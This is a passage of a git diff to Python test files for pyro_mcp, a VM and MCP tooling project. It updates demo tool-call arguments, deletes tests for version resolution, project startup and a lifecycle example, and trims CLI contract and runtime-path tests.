monkeypatch.setattr( - shutil, - "which", - lambda name: "/usr/bin/codex" if name == "codex" else None, - ) - monkeypatch.setattr(host_helpers, "_run_command", _fake_run_command) - - entry = host_helpers._doctor_cli_host("codex", config=HostServerConfig()) - assert entry.status == "drifted" - assert entry.configured is True - assert commands == [["codex", "mcp", "get", "pyro"], ["codex", "mcp", "list"]] diff --git a/tests/test_ollama_demo.py b/tests/test_ollama_demo.py index 406fa20..e8a3d3d 100644 --- a/tests/test_ollama_demo.py +++ b/tests/test_ollama_demo.py @@ -52,8 +52,9 @@ def _stepwise_model_response(payload: dict[str, Any], step: int) -> dict[str, An { "environment": "debian:12", "command": "printf 'true\\n'", + "vcpu_count": 1, + "mem_mib": 512, "network": True, - "allow_host_compat": True, } ), }, @@ -118,8 +119,9 @@ def test_run_ollama_tool_demo_accepts_legacy_profile_and_string_network( { "profile": "debian:12", "command": "printf 'true\\n'", + "vcpu_count": 1, + "mem_mib": 512, "network": "true", - "allow_host_compat": True, } ), }, @@ -222,7 +224,8 @@ def test_run_ollama_tool_demo_resolves_vm_id_placeholder( "arguments": json.dumps( { "environment": "debian:12", - "allow_host_compat": True, + "vcpu_count": "2", + "mem_mib": "2048", } ), }, @@ -277,7 +280,6 @@ def test_dispatch_tool_call_vm_exec_autostarts_created_vm(tmp_path: Path) -> Non vcpu_count=1, mem_mib=512, ttl_seconds=60, - allow_host_compat=True, ) vm_id = str(created["vm_id"]) @@ -456,7 +458,6 @@ def test_dispatch_tool_call_coverage(tmp_path: Path) -> None: "mem_mib": "512", "ttl_seconds": "60", "network": False, - "allow_host_compat": True, }, ) vm_id = str(created["vm_id"]) @@ -476,9 +477,10 @@ def test_dispatch_tool_call_coverage(tmp_path: Path) -> None: { "environment": "debian:12-base", "command": "printf 'true\\n'", + "vcpu_count": "1", + "mem_mib": "512", "timeout_seconds": "30", "network": False, - "allow_host_compat": True, }, ) assert int(executed_run["exit_code"]) == 0 diff --git a/tests/test_package_surface.py b/tests/test_package_surface.py deleted file mode 100644 index 533a87a..0000000 --- a/tests/test_package_surface.py +++ /dev/null @@ -1,67 +0,0 @@ -from __future__ import annotations - -from importlib.metadata import PackageNotFoundError -from typing import Any, cast - -import pyro_mcp as package_module - - -def test_resolve_version_prefers_pyproject_version(monkeypatch: Any) -> None: - monkeypatch.setattr(package_module, "version", lambda _name: "9.9.9") - assert package_module._resolve_version() == package_module.__version__ # noqa: SLF001 - - -def test_resolve_version_falls_back_to_unknown_without_metadata(monkeypatch: Any) -> None: - class _FakePyprojectPath: - def exists(self) -> bool: - return False - - class _FakeResolvedPath: - @property - def parents(self) -> dict[int, Any]: - return {2: self} - - def __truediv__(self, _other: str) -> _FakePyprojectPath: - return _FakePyprojectPath() - - class _FakePathFactory: - def __init__(self, _value: str) -> None: - return None - - def resolve(self) -> _FakeResolvedPath: - return _FakeResolvedPath() - - monkeypatch.setattr( - package_module, - "version", - lambda _name: (_ for _ in ()).throw(PackageNotFoundError()), - ) - monkeypatch.setattr(package_module, "Path", cast(Any, _FakePathFactory)) - - assert package_module._resolve_version() == "0+unknown" # noqa: SLF001 - - -def test_resolve_version_falls_back_to_installed_version(monkeypatch: Any) -> None: - class _FakePyprojectPath: - def exists(self) -> bool: - return False - - class _FakeResolvedPath: - @property - def parents(self) -> dict[int, Any]: - return {2: self} - - def __truediv__(self, _other: str) -> _FakePyprojectPath: - return _FakePyprojectPath() - - class _FakePathFactory: - def __init__(self, _value: str) -> None: - return None - - def resolve(self) -> _FakeResolvedPath: - return _FakeResolvedPath() - - monkeypatch.setattr(package_module, "version", lambda _name: "9.9.9") - monkeypatch.setattr(package_module, "Path", cast(Any, _FakePathFactory)) - - assert package_module._resolve_version() == "9.9.9" # noqa: SLF001 diff --git a/tests/test_project_startup.py b/tests/test_project_startup.py deleted file mode 100644 index fd8a6b1..0000000 --- a/tests/test_project_startup.py +++ /dev/null @@ -1,236 +0,0 @@ -from __future__ import annotations - -import subprocess -from pathlib import Path - -import pytest - -import pyro_mcp.project_startup as project_startup -from pyro_mcp.project_startup import ( - ProjectStartupSource, - describe_project_startup_source, - materialize_project_startup_source, - resolve_project_startup_source, -) - - -def _git(repo: Path, *args: str) -> str: - result = subprocess.run( # noqa: S603 - ["git", "-c", "commit.gpgsign=false", *args], - cwd=repo, - check=True, - capture_output=True, - text=True, - ) - return result.stdout.strip() - - -def _make_repo(root: Path, *, filename: str = "note.txt", content: str = "hello\n") -> Path: - root.mkdir() - _git(root, "init") - _git(root, "config", "user.name", "Pyro Tests") - _git(root, "config", "user.email", "pyro-tests@example.com") - (root / filename).write_text(content, encoding="utf-8") - _git(root, "add", filename) - _git(root, "commit", "-m", "init") - return root - - -def test_resolve_project_startup_source_detects_nearest_git_root(tmp_path: Path) -> None: - repo = _make_repo(tmp_path / "repo") - nested = repo / "src" / "pkg" - nested.mkdir(parents=True) - - resolved = resolve_project_startup_source(cwd=nested) - - assert resolved == ProjectStartupSource( - kind="project_path", - origin_ref=str(repo.resolve()), - resolved_path=repo.resolve(), - ) - - -def test_resolve_project_startup_source_project_path_prefers_git_root(tmp_path: Path) -> None: - repo = _make_repo(tmp_path / "repo") - nested = repo / "nested" - nested.mkdir() - - resolved = resolve_project_startup_source(project_path=nested, cwd=tmp_path) - - assert resolved == ProjectStartupSource( - kind="project_path", - origin_ref=str(repo.resolve()), - resolved_path=repo.resolve(), - ) - - -def test_resolve_project_startup_source_validates_flag_combinations(tmp_path: Path) -> None: - repo = _make_repo(tmp_path / "repo") - - with pytest.raises(ValueError, match="mutually exclusive"): - resolve_project_startup_source(project_path=repo, repo_url="https://example.com/repo.git") - - with pytest.raises(ValueError, match="requires --repo-url"): - resolve_project_startup_source(repo_ref="main") - - with pytest.raises(ValueError, match="cannot be combined"): - resolve_project_startup_source(project_path=repo, no_project_source=True) - - -def test_resolve_project_startup_source_handles_explicit_none_and_empty_values( - tmp_path: Path, -) -> None: - repo = _make_repo(tmp_path / "repo") - outside = tmp_path / "outside" - outside.mkdir() - - assert resolve_project_startup_source(no_project_source=True, cwd=tmp_path) is None - assert resolve_project_startup_source(cwd=outside) is None - - with pytest.raises(ValueError, match="must not be empty"): - resolve_project_startup_source(repo_url=" ", cwd=repo) - - with pytest.raises(ValueError, match="must not be empty"): - resolve_project_startup_source(repo_url="https://example.com/repo.git", repo_ref=" ") - - -def test_resolve_project_startup_source_rejects_missing_or_non_directory_project_path( - tmp_path: Path, -) -> None: - missing = tmp_path / "missing" - file_path = tmp_path / "note.txt" - file_path.write_text("hello\n", encoding="utf-8") - - with pytest.raises(ValueError, match="does not exist"): - resolve_project_startup_source(project_path=missing, cwd=tmp_path) - - with pytest.raises(ValueError, match="must be a directory"): - resolve_project_startup_source(project_path=file_path, cwd=tmp_path) - - -def test_resolve_project_startup_source_keeps_plain_relative_directory_when_not_a_repo( - tmp_path: Path, -) -> None: - plain = tmp_path / "plain" - plain.mkdir() - - resolved = resolve_project_startup_source(project_path="plain", cwd=tmp_path) - - assert resolved == ProjectStartupSource( - kind="project_path", - origin_ref=str(plain.resolve()), - resolved_path=plain.resolve(), - ) - - -def test_materialize_project_startup_source_clones_local_repo_url_at_ref(tmp_path: Path) -> None: - repo = _make_repo(tmp_path / "repo", content="one\n") - first_commit = _git(repo, "rev-parse", "HEAD") - (repo / "note.txt").write_text("two\n", encoding="utf-8") - _git(repo, "add", "note.txt") - _git(repo, "commit", "-m", "update") - - source = ProjectStartupSource( - kind="repo_url", - origin_ref=str(repo.resolve()), - repo_ref=first_commit, - ) - - with materialize_project_startup_source(source) as clone_dir: - assert (clone_dir / "note.txt").read_text(encoding="utf-8") == "one\n" - - -def test_materialize_project_startup_source_validates_project_source_and_clone_failures( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - with pytest.raises(RuntimeError, match="missing a resolved path"): - with materialize_project_startup_source( - ProjectStartupSource(kind="project_path", origin_ref="/repo", resolved_path=None) - ): - pass - - source = ProjectStartupSource(kind="repo_url", origin_ref="https://example.com/repo.git") - - def _clone_failure( - command: list[str], - *, - cwd: Path | None = None, - ) -> subprocess.CompletedProcess[str]: - del cwd - return subprocess.CompletedProcess(command, 1, "", "clone failed") - - monkeypatch.setattr("pyro_mcp.project_startup._run_git", _clone_failure) - with pytest.raises(RuntimeError, match="failed to clone repo_url"): - with materialize_project_startup_source(source): - pass - - -def test_materialize_project_startup_source_reports_checkout_failure( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - repo = _make_repo(tmp_path / "repo", content="one\n") - source = ProjectStartupSource( - kind="repo_url", - origin_ref=str(repo.resolve()), - repo_ref="missing-ref", - ) - - original_run_git = project_startup._run_git - - def _checkout_failure( - command: list[str], - *, - cwd: Path | None = None, - ) -> subprocess.CompletedProcess[str]: - if command[:2] == ["git", "checkout"]: - return subprocess.CompletedProcess(command, 1, "", "checkout failed") - return original_run_git(command, cwd=cwd) - - monkeypatch.setattr("pyro_mcp.project_startup._run_git", _checkout_failure) - with pytest.raises(RuntimeError, match="failed to checkout repo_ref"): - with materialize_project_startup_source(source): - pass - - -def test_describe_project_startup_source_formats_project_and_repo_sources(tmp_path: Path) -> None: - repo = _make_repo(tmp_path / "repo") - - project_description = describe_project_startup_source( - ProjectStartupSource( - kind="project_path", - origin_ref=str(repo.resolve()), - resolved_path=repo.resolve(), - ) - ) - repo_description = describe_project_startup_source( - ProjectStartupSource( - kind="repo_url", - origin_ref="https://example.com/repo.git", - repo_ref="main", - ) - ) - - assert project_description == f"the current project at {repo.resolve()}" - assert repo_description == "the clean clone source https://example.com/repo.git at ref main" - - -def test_describe_project_startup_source_handles_none_and_repo_without_ref() -> None: - assert describe_project_startup_source(None) is None - assert ( - describe_project_startup_source( - ProjectStartupSource(kind="repo_url", origin_ref="https://example.com/repo.git") - ) - == "the clean clone source https://example.com/repo.git" - ) - - -def test_detect_git_root_returns_none_for_empty_stdout(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr( - project_startup, - "_run_git", - lambda command, *, cwd=None: subprocess.CompletedProcess(command, 0, "\n", ""), - ) - - assert project_startup._detect_git_root(Path.cwd()) is None diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 2f5385a..5090286 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -15,62 +15,9 @@ from pyro_mcp.cli import _build_parser from pyro_mcp.contract import ( PUBLIC_CLI_COMMANDS, PUBLIC_CLI_DEMO_SUBCOMMANDS, - PUBLIC_CLI_DOCTOR_FLAGS, PUBLIC_CLI_ENV_SUBCOMMANDS, - PUBLIC_CLI_HOST_CONNECT_FLAGS, - PUBLIC_CLI_HOST_DOCTOR_FLAGS, - PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS, - PUBLIC_CLI_HOST_REPAIR_FLAGS, - PUBLIC_CLI_HOST_SUBCOMMANDS, - PUBLIC_CLI_MCP_SERVE_FLAGS, - PUBLIC_CLI_MCP_SUBCOMMANDS, - PUBLIC_CLI_PREPARE_FLAGS, PUBLIC_CLI_RUN_FLAGS, - PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, - PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, - PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS, - PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS, - PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS, - PUBLIC_CLI_WORKSPACE_EXEC_FLAGS, - PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, - PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS, - PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS, - PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS, - PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS, - PUBLIC_CLI_WORKSPACE_LIST_FLAGS, - PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS, - PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS, - PUBLIC_CLI_WORKSPACE_RESET_FLAGS, - PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS, - PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS, - PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS, - PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS, - PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS, - PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS, - PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS, - PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS, - PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS, - PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS, - PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS, - PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS, - PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS, - PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS, - PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS, - PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS, - PUBLIC_CLI_WORKSPACE_START_FLAGS, - PUBLIC_CLI_WORKSPACE_STOP_FLAGS, - PUBLIC_CLI_WORKSPACE_SUBCOMMANDS, - PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS, - PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, - PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, - PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS, - PUBLIC_MCP_COLD_START_MODE_TOOLS, - PUBLIC_MCP_INSPECT_MODE_TOOLS, - PUBLIC_MCP_MODES, - PUBLIC_MCP_PROFILES, - PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, - PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, - PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + PUBLIC_MCP_TOOLS, PUBLIC_SDK_METHODS, ) from pyro_mcp.vm_manager import VmManager @@ -102,11 +49,11 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: assert command_name in help_text run_parser = _build_parser() - run_help = run_parser.parse_args(["run", "debian:12-base", "--", "true"]) + run_help = run_parser.parse_args( + ["run", "debian:12-base", "--vcpu-count", "1", "--mem-mib", "512", "--", "true"] + ) assert run_help.command == "run" assert run_help.environment == "debian:12-base" - assert run_help.vcpu_count == 1 - assert run_help.mem_mib == 1024 run_help_text = _subparser_choice(parser, "run").format_help() for flag in PUBLIC_CLI_RUN_FLAGS: @@ -115,246 +62,6 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: env_help_text = _subparser_choice(parser, "env").format_help() for subcommand_name in PUBLIC_CLI_ENV_SUBCOMMANDS: assert subcommand_name in env_help_text - prepare_help_text = _subparser_choice(parser, "prepare").format_help() - for flag in PUBLIC_CLI_PREPARE_FLAGS: - assert flag in prepare_help_text - host_help_text = _subparser_choice(parser, "host").format_help() - for subcommand_name in PUBLIC_CLI_HOST_SUBCOMMANDS: - assert subcommand_name in host_help_text - host_connect_help_text = _subparser_choice( - _subparser_choice(parser, "host"), "connect" - ).format_help() - for flag in PUBLIC_CLI_HOST_CONNECT_FLAGS: - assert flag in host_connect_help_text - host_doctor_help_text = _subparser_choice( - _subparser_choice(parser, "host"), "doctor" - ).format_help() - for flag in PUBLIC_CLI_HOST_DOCTOR_FLAGS: - assert flag in host_doctor_help_text - host_print_config_help_text = _subparser_choice( - _subparser_choice(parser, "host"), "print-config" - ).format_help() - for flag in PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS: - assert flag in host_print_config_help_text - host_repair_help_text = _subparser_choice( - _subparser_choice(parser, "host"), "repair" - ).format_help() - for flag in PUBLIC_CLI_HOST_REPAIR_FLAGS: - assert flag in host_repair_help_text - doctor_help_text = _subparser_choice(parser, "doctor").format_help() - for flag in PUBLIC_CLI_DOCTOR_FLAGS: - assert flag in doctor_help_text - mcp_help_text = _subparser_choice(parser, "mcp").format_help() - for subcommand_name in PUBLIC_CLI_MCP_SUBCOMMANDS: - assert subcommand_name in mcp_help_text - mcp_serve_help_text = _subparser_choice(_subparser_choice(parser, "mcp"), "serve").format_help() - for flag in PUBLIC_CLI_MCP_SERVE_FLAGS: - assert flag in mcp_serve_help_text - for profile_name in PUBLIC_MCP_PROFILES: - assert profile_name in mcp_serve_help_text - for mode_name in PUBLIC_MCP_MODES: - assert mode_name in mcp_serve_help_text - - workspace_help_text = _subparser_choice(parser, "workspace").format_help() - for subcommand_name in PUBLIC_CLI_WORKSPACE_SUBCOMMANDS: - assert subcommand_name in workspace_help_text - workspace_create_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "create" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_CREATE_FLAGS: - assert flag in workspace_create_help_text - workspace_exec_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "exec" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_EXEC_FLAGS: - assert flag in workspace_exec_help_text - workspace_sync_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), - "sync", - ).format_help() - for subcommand_name in PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS: - assert subcommand_name in workspace_sync_help_text - workspace_sync_push_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "sync"), "push" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS: - assert flag in workspace_sync_push_help_text - workspace_export_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "export" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS: - assert flag in workspace_export_help_text - workspace_list_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "list" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_LIST_FLAGS: - assert flag in workspace_list_help_text - workspace_update_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "update" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS: - assert flag in workspace_update_help_text - workspace_file_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "file" - ).format_help() - for subcommand_name in PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS: - assert subcommand_name in workspace_file_help_text - workspace_file_list_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "list" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS: - assert flag in workspace_file_list_help_text - workspace_file_read_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "read" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS: - assert flag in workspace_file_read_help_text - workspace_file_write_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS: - assert flag in workspace_file_write_help_text - workspace_patch_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "patch" - ).format_help() - for subcommand_name in PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS: - assert subcommand_name in workspace_patch_help_text - workspace_patch_apply_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "patch"), "apply" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS: - assert flag in workspace_patch_apply_help_text - workspace_disk_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "disk" - ).format_help() - for subcommand_name in ("export", "list", "read"): - assert subcommand_name in workspace_disk_help_text - workspace_disk_export_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "export" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS: - assert flag in workspace_disk_export_help_text - workspace_disk_list_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "list" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS: - assert flag in workspace_disk_list_help_text - workspace_disk_read_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "read" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS: - assert flag in workspace_disk_read_help_text - workspace_diff_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "diff" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_DIFF_FLAGS: - assert flag in workspace_diff_help_text - workspace_snapshot_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), - "snapshot", - ).format_help() - for subcommand_name in PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS: - assert subcommand_name in workspace_snapshot_help_text - workspace_snapshot_create_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), - "create", - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS: - assert flag in workspace_snapshot_create_help_text - workspace_snapshot_list_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), - "list", - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS: - assert flag in workspace_snapshot_list_help_text - workspace_snapshot_delete_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), - "delete", - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS: - assert flag in workspace_snapshot_delete_help_text - workspace_reset_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "reset" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_RESET_FLAGS: - assert flag in workspace_reset_help_text - workspace_start_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "start" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_START_FLAGS: - assert flag in workspace_start_help_text - workspace_stop_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "stop" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_STOP_FLAGS: - assert flag in workspace_stop_help_text - workspace_summary_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), "summary" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS: - assert flag in workspace_summary_help_text - workspace_shell_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), - "shell", - ).format_help() - for subcommand_name in PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS: - assert subcommand_name in workspace_shell_help_text - workspace_shell_open_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS: - assert flag in workspace_shell_open_help_text - workspace_shell_read_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS: - assert flag in workspace_shell_read_help_text - workspace_shell_write_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "write" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS: - assert flag in workspace_shell_write_help_text - workspace_shell_signal_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "signal" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS: - assert flag in workspace_shell_signal_help_text - workspace_shell_close_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "close" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS: - assert flag in workspace_shell_close_help_text - workspace_service_help_text = _subparser_choice( - _subparser_choice(parser, "workspace"), - "service", - ).format_help() - for subcommand_name in PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS: - assert subcommand_name in workspace_service_help_text - workspace_service_start_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "start" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS: - assert flag in workspace_service_start_help_text - workspace_service_list_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "list" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS: - assert flag in workspace_service_list_help_text - workspace_service_status_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "status" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS: - assert flag in workspace_service_status_help_text - workspace_service_logs_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "logs" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS: - assert flag in workspace_service_logs_help_text - workspace_service_stop_help_text = _subparser_choice( - _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "stop" - ).format_help() - for flag in PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS: - assert flag in workspace_service_stop_help_text demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: @@ -384,15 +91,7 @@ def test_public_mcp_tools_match_contract(tmp_path: Path) -> None: return tuple(sorted(tool.name for tool in tools)) tool_names = asyncio.run(_run()) - assert tool_names == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) - - -def test_public_mcp_modes_are_declared_and_non_empty() -> None: - assert PUBLIC_MCP_MODES == ("repro-fix", "inspect", "cold-start", "review-eval") - assert PUBLIC_MCP_REPRO_FIX_MODE_TOOLS - assert PUBLIC_MCP_INSPECT_MODE_TOOLS - assert PUBLIC_MCP_COLD_START_MODE_TOOLS - assert PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS + assert tool_names == tuple(sorted(PUBLIC_MCP_TOOLS)) def test_pyproject_exposes_single_public_cli_script() -> None: diff --git a/tests/test_python_lifecycle_example.py b/tests/test_python_lifecycle_example.py deleted file mode 100644 index 8a54298..0000000 --- a/tests/test_python_lifecycle_example.py +++ /dev/null @@ -1,53 +0,0 @@ -from __future__ import annotations - -import importlib.util -from pathlib import Path -from types import ModuleType -from typing import Any, cast - -import pytest - - -def _load_python_lifecycle_module() -> ModuleType: - path = Path("examples/python_lifecycle.py") - spec = importlib.util.spec_from_file_location("python_lifecycle", path) - if spec is None or spec.loader is None: - raise AssertionError("failed to load python_lifecycle example") - module = importlib.util.module_from_spec(spec) - spec.loader.exec_module(module) - return module - - -def test_python_lifecycle_example_does_not_delete_after_exec( - capsys: pytest.CaptureFixture[str], -) -> None: - module = _load_python_lifecycle_module() - calls: list[str] = [] - - class StubPyro: - def create_vm(self, **kwargs: object) -> dict[str, object]: - assert kwargs["environment"] == "debian:12" - calls.append("create_vm") - return {"vm_id": "vm-123"} - - def start_vm(self, vm_id: str) -> dict[str, object]: - assert vm_id == "vm-123" - calls.append("start_vm") - return {"vm_id": vm_id, "state": "started"} - - def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, object]: - assert vm_id == "vm-123" - assert command == "git --version" - assert timeout_seconds == 30 - calls.append("exec_vm") - return {"vm_id": vm_id, "stdout": "git version 2.43.0\n"} - - def delete_vm(self, vm_id: str) -> dict[str, object]: - raise AssertionError(f"unexpected delete_vm({vm_id}) call") - - cast(Any, module).Pyro = StubPyro - module.main() - - assert calls == ["create_vm", "start_vm", "exec_vm"] - captured = capsys.readouterr() - assert "git version 2.43.0" in captured.out diff --git a/tests/test_runtime.py b/tests/test_runtime.py index 60ebc4b..8956a99 100644 --- a/tests/test_runtime.py +++ b/tests/test_runtime.py @@ -1,37 +1,11 @@ from __future__ import annotations import json -import shutil from pathlib import Path import pytest -from pyro_mcp.daily_loop import DailyLoopManifest, prepare_manifest_path, write_prepare_manifest from pyro_mcp.runtime import doctor_report, resolve_runtime_paths, runtime_capabilities -from pyro_mcp.vm_environments import EnvironmentStore, get_environment - - -def _materialize_installed_environment( - environment_store: EnvironmentStore, - *, - name: str, -) -> None: - spec = get_environment(name, runtime_paths=environment_store._runtime_paths) - install_dir = environment_store._install_dir(spec) - install_dir.mkdir(parents=True, exist_ok=True) - (install_dir / "vmlinux").write_text("kernel\n", encoding="utf-8") - (install_dir / "rootfs.ext4").write_text("rootfs\n", encoding="utf-8") - (install_dir / "environment.json").write_text( - json.dumps( - { - "name": spec.name, - "version": spec.version, - "source": "test-cache", - "source_digest": spec.source_digest, - } - ), - encoding="utf-8", - ) def test_resolve_runtime_paths_default_bundle() -> None: @@ -40,9 +14,7 @@ def test_resolve_runtime_paths_default_bundle() -> None: assert paths.jailer_bin.exists() assert paths.guest_agent_path is not None assert paths.guest_agent_path.exists() - assert paths.guest_init_path is not None - assert paths.guest_init_path.exists() - assert paths.artifacts_dir.exists() + assert (paths.artifacts_dir / "debian-git" / "vmlinux").exists() assert paths.manifest.get("platform") == "linux-x86_64" @@ -79,68 +51,34 @@ def test_resolve_runtime_paths_checksum_mismatch( guest_agent_path = source.guest_agent_path if guest_agent_path is None: raise AssertionError("expected guest agent in runtime bundle") - guest_init_path = source.guest_init_path - if guest_init_path is None: - raise AssertionError("expected guest init in runtime bundle") copied_guest_dir = copied_platform / "guest" copied_guest_dir.mkdir(parents=True, exist_ok=True) (copied_guest_dir / "pyro_guest_agent.py").write_text( guest_agent_path.read_text(encoding="utf-8"), encoding="utf-8", ) - (copied_guest_dir / 